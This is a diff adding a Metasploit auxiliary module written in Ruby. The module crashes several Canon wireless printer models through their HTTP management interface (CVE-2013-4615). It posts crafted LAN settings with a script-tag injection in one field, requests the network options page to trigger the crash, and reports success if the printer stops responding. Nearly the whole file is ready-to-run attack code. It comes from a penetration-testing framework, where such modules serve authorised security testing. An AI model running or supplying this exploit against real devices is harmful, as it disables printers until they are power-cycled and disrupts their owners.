|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Auxiliary |
| 11 | + |
| 12 | + include Msf::Exploit::Remote::HttpClient |
| 13 | + include Msf::Auxiliary::Dos |
| 14 | + |
| 15 | + def initialize(info = {}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => 'Canon Wireless Printer Denial Of Service', |
| 18 | + 'Description' => %q{ |
| 19 | + The HTTP management interface on several models of Canon Wireless printers |
| 20 | + allows for a Denial of Service condition via a crafted HTTP request. This |
| 21 | + requires the device to be turned off and back on again to restore use. |
| 22 | + }, |
| 23 | + 'License' => MSF_LICENSE, |
| 24 | + 'Author' => |
| 25 | + [ |
| 26 | + 'Matt "hostess" Andreko <mandreko[at]accuvant.com>' |
| 27 | + ], |
| 28 | + 'References' => [ |
| 29 | + [ 'CVE', '2013-4615' ], |
| 30 | + [ 'URL', 'http://www.mattandreko.com/2013/06/canon-y-u-no-security.html'] |
| 31 | + ], |
| 32 | + 'DisclosureDate' => 'Jun 18 2013')) |
| 33 | + end |
| 34 | + |
| 35 | + def is_alive? |
| 36 | + res = send_request_raw({ |
| 37 | + 'method' => 'GET', |
| 38 | + 'uri' => '/', |
| 39 | + },10) |
| 40 | + |
| 41 | + return !res.nil? |
| 42 | + end |
| 43 | + |
| 44 | + def run |
| 45 | + |
| 46 | + begin |
| 47 | + |
| 48 | + # The first request will set the new IP |
| 49 | + res = send_request_cgi({ |
| 50 | + 'method' => 'POST', |
| 51 | + 'uri' => '/English/pages_MacUS/cgi_lan.cgi', |
| 52 | + 'data' => 'OK.x=61' + |
| 53 | + '&OK.y=12' + |
| 54 | + '&LAN_OPT1=2' + |
| 55 | + '&LAN_TXT1=Wireless' + |
| 56 | + '&LAN_OPT3=1' + |
| 57 | + '&LAN_TXT21=192' + |
| 58 | + '&LAN_TXT22=168' + |
| 59 | + '&LAN_TXT23=1' + |
| 60 | + '&LAN_TXT24=114"><script>alert(\'xss\');</script>' + |
| 61 | + '&LAN_TXT31=255' + |
| 62 | + '&LAN_TXT32=255' + |
| 63 | + '&LAN_TXT33=255' + |
| 64 | + '&LAN_TXT34=0' + |
| 65 | + '&LAN_TXT41=192' + |
| 66 | + '&LAN_TXT42=168' + |
| 67 | + '&LAN_TXT43=1' + |
| 68 | + '&LAN_TXT44=1' + |
| 69 | + '&LAN_OPT2=4' + |
| 70 | + '&LAN_OPT4=1' + |
| 71 | + '&LAN_HID1=1' |
| 72 | + }) |
| 73 | + |
| 74 | + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE |
| 75 | + print_error("Couldn't connect to #{rhost}:#{rport}") |
| 76 | + return |
| 77 | + end |
| 78 | + |
| 79 | + # The second request will load the network options page, which seems to trigger the DoS |
| 80 | + send_request_cgi({ |
| 81 | + 'method' => 'GET', |
| 82 | + 'uri' => '/English/pages_MacUS/lan_set_content.html' |
| 83 | + },5) #default timeout, we don't care about the response |
| 84 | + |
| 85 | + # Check to see if it worked or not |
| 86 | + if is_alive? |
| 87 | + print_error("#{rhost}:#{rport} - Server is still alive") |
| 88 | + else |
| 89 | + print_good("#{rhost}:#{rport} - Connection Refused: Success!") |
| 90 | + end |
| 91 | + |
| 92 | + end |
| 93 | +end |
0 commit comments